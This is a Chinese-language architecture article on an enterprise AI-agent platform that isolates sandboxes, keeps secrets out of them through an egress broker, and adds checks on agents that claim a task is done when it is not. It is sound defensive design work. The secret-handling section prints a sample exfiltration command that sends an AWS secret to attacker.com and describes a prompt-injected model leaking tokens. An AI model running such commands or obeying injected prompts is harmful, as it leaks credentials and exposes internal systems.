手脑分离与边界治理：企业级 Agent 平台的总体架构设计

在本地终端环境中，开发者早已习惯使用 Claude Code、Cursor 或各类命令行 Agent 进行自主编码与系统运维。模型推理循环与操作系统的 Shell、文件系统和环境变量运行在同一台宿主机上，通过本地进程树与内存字典直接驱动。这种“脑与手同机”的拓扑，在个人开发机上极其高效，因为单机操作系统天然屏蔽了网络故障域、进程隔离与多租户审计的复杂性。

当企业尝试把这一套机制推广给全员、部署在生产基础设施中时，本地环境的所有底层假设全部崩溃：多位员工同时触发耗时任务会导致机器资源争抢与相互干扰；执行非受控的 Shell 脚本随时可能破坏共享宿主机；将云凭据与内网数据库 Token 注入环境变量，使得模型或恶意 Prompt 能随时通过 curl 或 printenv 将密钥外发泄露；HTTP 网关在 60 秒到 120 秒处掐断长连接，使得跨网络的异步命令陷入悬挂；更关键的是，Agent 与个人账号深度绑定，员工离职后所有的上下文、记忆库与执行现场随之注销。

企业级 Agent 平台既不能简单沿用单机 Agent 的进程模型，也不能退化为只能处理文本对话、没有真实执行环境的工作流编排画布（Workflow Canvas）。企业级 Agent 平台的核心是 “手脑分离”（Decoupled Brain and Hand）架构：由长期驻留的受控控制面（Harness）持有会话状态机与推理决策（“脑”），由弹性隔离的沙箱池（Sandbox）按需租借算力执行命令（“手”），并在二者之间建立清晰的系统边界。

单机终端与企业多租户环境的拓扑冲突

单节点 Agent 与分布式企业级 Agent 平台的根本区别，在于决策层与执行层是否跨越了安全信任域与网络故障域：

架构维度	单机终端 Agent（如 Claude Code / CLI）	企业级 Agent 平台（手脑分离解耦架构）
物理拓扑	脑与手同机，共享单台宿主机的 CPU、内存与文件系统	脑在受控控制面（API / Worker），手在远程弹性沙箱池（Kubernetes / MicroVM）
隔离与安全边界	无硬隔离；依赖本地用户权限，命令可读写宿主机任意文件	强隔离沙箱实例；具备独立 Linux Namespace、cgroups 与网络只读限制
凭据交付机制	真实 API Key 与密码作为明文环境变量直接注入 Shell 进程	密钥排除（Secret Exclusion）：沙箱内仅见占位符，出网由边缘 Broker 代理动态置换
连接与超时容忍	本地 TTY / PTY 终端交互，无中间反向代理与连接中断限制	Web 与 IM 接入，经受 60s~120s 网关读超时上限，强制长任务平滑切分
状态持久化	内存字典或本地 SQLite；进程退出即终止，无分布式容灾	Append-Only 增量事件流；持久化数据库状态机，支持断点日志恢复与会话迁移
所有权与协同实体	个人私有账号绑定；生命周期随单一用户终止	Workspace 团队资产；Persona、共享记忆、已核准工具与数据持久卷归组织所有

在企业场景中，直接把单机 Agent 打包成 Docker 镜像跑在后台，会立刻产生两个致命缺陷：一是每个会话独占一台容器会导致算力成本与冷启动排队不可承受；二是容器内若持有真实凭据，一旦沙箱被提权或遭到 Prompt 注入攻击，整个内网拓扑都将暴露在风险之中。

要建立生产级可用性，企业平台必须在整体架构中清晰划定四个核心系统边界。

---

边界一：控制面与执行面解耦（Harness 与 Sandbox 生命周期）

在“手脑分离”架构下，系统的第一道核心边界是控制面（Control Plane）与执行面（Data Plane）的职责拆分：

• 控制面（Harness）：长期驻留的高可用服务集群（API Gateway 与 Agent Worker）。它负责驱动原生异步线性循环（async while-loop），持有推理上下文、执行策略过滤、上下文压实（Compaction），并在人机回环（Human-in-the-Loop）时挂起等待。控制面节点受多层防火墙保护，绝对不执行不可信的任意用户代码或外部工具脚本。
• 执行面（Sandbox）：按需分配的临时算力单元。执行面可以基于 Kubernetes Pod（如 CubeSandbox）或 MicroVM（如 Firecracker）。它通过统一的执行接口（Execution API）接收控制面派发的命令，运行构建、测试、网络探测或数据清洗脚本，捕获实时标准输出与退出码。

与这一划分强相关的核心原则，是算力生命周期与数据生命周期的彻底解耦：

1. 算力生命周期（临时与弹性）：沙箱容器不是常驻虚机。在一次多轮排障或任务完成后，若长时间没有新命令，沙箱实例可以被自动回收或休眠，释放底层 CPU 与内存资源。下次同一会话唤醒时，平台可以重新拉起一个同规格的全新容器。
2. 数据生命周期（持久与共享）：开发者的工作现场（Git 仓库、已下载的依赖缓存、编译产物、生成的报表）不能保存在容器内部的可写镜像层。CubePlex 将持久化卷（PVC 或 Host Mount）挂载在 /workspace 路径下。当沙箱实例被销毁、重建或漂移到另一个物理节点时，挂载的持久卷自动重新附加，Agent 与团队成员在第二周打开工作区，所有的工作现场依然完好无损。

---

边界二：凭据交付与出网安全（Secret Exclusion 与边缘代理）

传统系统在向自动化脚本提供第三方凭据（如 GitHub Personal Access Token、AWS AccessKey、企业内网 API Token）时，最常见的做法是在容器启动时通过环境变量（env）下发明文密钥，并在后台系统的前端控制台对日志做掩码处理（Redaction）。

日志脱敏（Redaction）只是一种视觉防线，无法构成安全边界。在沙箱内部，任何一段由 Agent 生成的 Python 脚本或 Bash 命令，都可以随时通过 os.environ 遍历获取所有明文 Token。一旦模型受到 Prompt 注入，或者执行了带有外发逻辑的不可信依赖包，明文 Token 可以瞬间通过一个简单的 curl -X POST https://attacker.com -d "$AWS_SECRET" 泄露出去。

CubePlex 在企业架构中推行严格的密钥排除（Secret Exclusion）机制：

1. 占位符注入（Opaque Placeholder）：控制面向沙箱下发环境变量时，不传递真实密钥，仅传递不透明的引用标识符（例如 CUBEPLEX_SECRET_REF_8f9a2）。沙箱内的任何进程即便打印 env，也只能拿到无意义的哈希占位符。
2. Egress 网络策略限制：沙箱实例配置严格的 Kubernetes NetworkPolicy 或底层 iptables 规则，默认禁止直连外网，只允许通过特定端口访问平台控制面的 Secret Broker（出网代理网关）。
3. 边缘实时动态置换：当沙箱内的工具发起对外部服务的 HTTPS 请求时，流量流经 Secret Broker。Broker 根据占位符查阅受保护的密钥保险箱（Vault / KMS），同时校验目的域名（如 *.github.com）与请求路径白名单；在出网报文离开集群边界前，Broker 将占位符动态替换为真实凭据。

整个调用链路中，真实凭据从未踏入沙箱进程树半步。哪怕沙箱遭遇到最具侵略性的越权探测，攻击者也无法获得任何有效的生产系统凭据。

---

边界三：状态机与长任务治理（Append-Only 与代际栅栏）

在控制面持有会话状态机的设计中，许多开源框架（如 LangGraph 等图状态机框架）采用了全量快照（Full State Snapshot）机制：每经历一个图节点变更或工具响应，就将整个会话的全量状态（含上百条完整历史消息）做一次全量序列化并写入数据库。

当会话推进到 50 到 100 轮交互后，全量序列化快照的单步写库开销呈 $O(N)$ 增长，累积带来 $O(N^2)$ 的 I/O 放大与数据库膨胀。大型 JSONB 字段的频繁写入不仅拖垮数据库连接池，也使得网络故障时的并发恢复变得极易产生脏写冲突。

CubeLoop 在底层采用了原生 async while-loop 与 Append-Only（仅增追加）持久化架构：

• 单步写库 $O(1)$：控制面在每个循环回合（Turn）边界，仅持久化本轮新增的消息、工具调用与事件增量（Delta Events），不反复覆写历史。这不仅保证了极高的写入吞吐，也天然构成了不可篡改的执行审计日志。
• 会话确定性恢复：当 Worker 节点因宿主机故障重启时，控制面只需按序列拉取增量事件流并在内存中快速重放，即可无损恢复会话上下文与执行状态。

在长时间命令执行时，控制面进一步与沙箱建立了三道治理契约：

                    命令执行时间
  0s ──────────────────────────── 60s ──────────────────────────── 1h
  [  前台流式输出与阻塞等待     ] │ [  后台异步降级 · 释放长连接  ]
                                  │
                                  ├─ 注册 Task ID / Command ID
                                  ├─ 开启宿主校验 (Todo 保持 Open)
                                  ├─ 绑定 Generation ID (代际栅栏)
                                  └─ 推进日志游标 (已落盘确认)

1. 60 秒切分阈值：命令在前 60 秒内正常推流；一旦运行超过 60 秒，系统立刻在控制面将其脱钩为受管后台任务（Background Task），释放客户端的 HTTP / SSE 长连接，防止反向代理因读超时掐断交互。沙箱继续在后台执行，享有最长 1 小时的独立运行期。
2. 防范假装完成的 Todo 契约：模型在长时间后台任务启动后，极易产生“命令已下发、任务已全部搞定”的幻觉，并擅自勾选完成。CubeLoop 的 TodoListMiddleware 与沙箱建立宿主回调，在后台任务真正以退出码 0 结束并落盘日志前，系统拒绝模型关闭对应的待办项，保证状态一致性。
3. 代际栅栏（Generation Fence）：跨网络的任务取消与重试是分布式系统中最容易出现竞态的死角。如果网络波动引发用户或前端发起重试，旧任务的 Stop 信号可能会在网络拥堵后抵达，误杀新拉起的任务进程。CubePlex 在控制面签发全局递增的执行代际标识（Generation ID），沙箱在处理信号时强校验代际，杜绝跨网络“关公战秦琼”的误杀事故。

---

边界四：组织协同与资产沉淀（Workspace 的实体形态）

市面上对“团队 Agent”最常见的误解，是把它简化为“建一个大群聊，把团队全员拉进来跟同一个机器人对话”。

在大群聊中，多位成员的并发诉求混在一起，上下文迅速被不相关的闲聊污染；更严重的是底层沙箱如果复用，A 正在运行测试，B 触发了一条 git reset --hard，会直接破坏整个工作现场。

CubePlex 提出了以 Workspace（工作区）作为团队公共资产实体 的架构组织模型：

• Agent 是 Workspace 下的公共数字同事：Agent 不随特定员工的个人私聊窗口创建或消亡。它在 Workspace 维度拥有受控的 Persona（设定）、团队共享记忆库、以及经过安全团队核准的 Skills 与 MCP 工具集。团队成员加入即可协同，员工离职后，其参与的所有任务记录与 Agent 积累的业务认知依然作为组织资产留在 Workspace 中。
• 会话形态与沙箱绑定策略：
  • 1:1 私聊：成员与 Agent 进行独立的私密排障或代码草稿，默认绑定个人专属工作区沙箱。
  • 单线群聊（Group Chat）：适合低权限的简单答疑与状态播报，不默认挂载写权限沙箱。
  • 多任务 Topic 容器（Topic 拓扑）：面对真实的业务攻坚（如“2026-Q3 支付系统性能排障”），团队在 Workspace 下开设 Topic 会话。Topic 内支持多人协同与会话分支，并分配独立的 Dedicated Topic Sandbox（专属主题沙箱），确保复杂工程任务享有排他的算力环境与挂载卷，彻底消除并发干扰。

---

企业级 Agent 平台总体架构全景

将上述四大系统边界汇总，企业级 Agent 平台的端到端生产架构拓扑如下：

1. 接入与交互层：支持企业 IM（飞书 / Slack / 企业微信）卡片与 Web 协同控制台，通过统一的 API Gateway 完成企业 SSO 单点登录、RBAC 角色权限解析与流式长连接维护。
2. 受控控制面（Harness）：作为大脑常驻运行。持有 async while-loop 线性循环会话状态机，集成 Append-Only 检查点持久化存储；内置 LLM 推理调度器、20k 字符前置拦截器与上下文压实组件；通过 HITL 引擎处理高危工具人工审批卡片；持有长任务协调器与代际栅栏。
3. 凭据与出网治理面（Secret Broker）：在控制面与外网边界设立防火墙。统一对接企业 Vault / KMS，负责沙箱环境变量的不透明占位符管理；作为沙箱唯一的出网 Egress 网关，在边缘完成目的主机与请求头白名单校验，动态注入真实 Token。
4. 弹性执行沙箱池（Data Plane）：基于 Kubernetes Pod 或 MicroVM 提供多租户隔离算力。按需通过 Sandbox Lease Manager 分配租约；沙箱内运行只读镜像并挂载持久卷；受管后台任务运行器负责超时平滑降级、标准输出收集与日志游标推进。
5. 持久化与团队资产层：独立的持久存储卷（PVC / Host Mount）为沙箱跨会话挂载代码与工作现场；Workspace 沉淀统一的 Persona、团队共享记忆、组织核准的 MCP 连接器与不可篡改的 OpenTelemetry 审计追踪。

---

落地实施的架构检查清单

在企业内部选型、自研或落地 Agent 基础设施时，可以用以下 6 项标准检验其是否具备生产级架构治理能力：

• 手脑是否物理分离：控制面 Harness 与代码执行沙箱是否拆分在独立的网络故障域与宿主机器上？
• 算力与数据是否解耦：沙箱容器销毁重建后，工作区的文件与已安装依赖能否跨会话完整保留？
• 凭据交付是否排除明文：沙箱内部进程能否直接通过 printenv 读取真实第三方 Token？出网是否有统一的边缘 Broker 进行域名白名单拦截与凭据置换？
• 状态机存储是否线性稳定：会话进行到 100 轮交互时，单步写库开销是稳定的 $O(1)$，还是全量快照膨胀的 $O(N)$？
• 长任务是否具备宿主契约：耗时命令转入后台后，系统能否阻止反向代理超时？能否杜绝模型假装完成的幻觉，并防范跨网络重试误杀？
• 协作实体是否归属团队：Agent 及其执行沉淀是绑定在个人聊天窗口，还是作为持久的 Workspace 资产脱离个人账号独立运转？

企业引入 AI Agent 的核心目的，是让自动化真正进入业务系统的核心执行链路。只有越过单机终端的便利假象，建立起物理隔离、凭据排除、增量状态与团队实体的四大工程边界，Agent 才能从开发者桌面上的实验性脚本，真正演进为安全、受控、高可用的企业级数字化劳动力。